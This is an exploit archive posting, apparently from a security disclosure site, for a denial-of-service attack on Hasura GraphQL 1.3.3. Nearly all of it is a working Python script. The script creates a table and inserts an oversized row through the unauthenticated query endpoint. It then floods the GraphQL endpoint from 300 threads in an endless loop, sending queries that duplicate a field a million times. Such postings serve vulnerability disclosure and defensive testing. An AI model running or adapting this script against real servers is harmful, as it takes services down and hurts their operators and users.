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Hasura GraphQL 1.3.3 Denial Of Service

Hasura GraphQL 1.3.3 Denial Of Service
Posted Apr 21, 2021
Authored by Dolev Farhi

Hasura GraphQL version 1.3.3 suffers from a denial of service vulnerability.

tags | exploit, denial of service
MD5 | b6c9f1763c0633653dc68829842ca35a

Hasura GraphQL 1.3.3 Denial Of Service

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# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import sys
import requests
import threading

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
THREADS = 300

def create_table():
data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r

def insert_row():
bomb = 'A' * 100000
data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r

def DoS():
dups = 'test \n ' * 1000000
data = {'query': 'query { test_db { ' + dups + '} }'}
endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r

if not create_table().ok:
print('something went wrong, could not create table.')
sys.exit(1)

if not insert_row().ok:
print('something went wrong, could not insert row')
sys.exit(1)

while True:
for _ in range(THREADS):
print('Starting')
t = threading.Thread(target=DoS, args=())
t.start()


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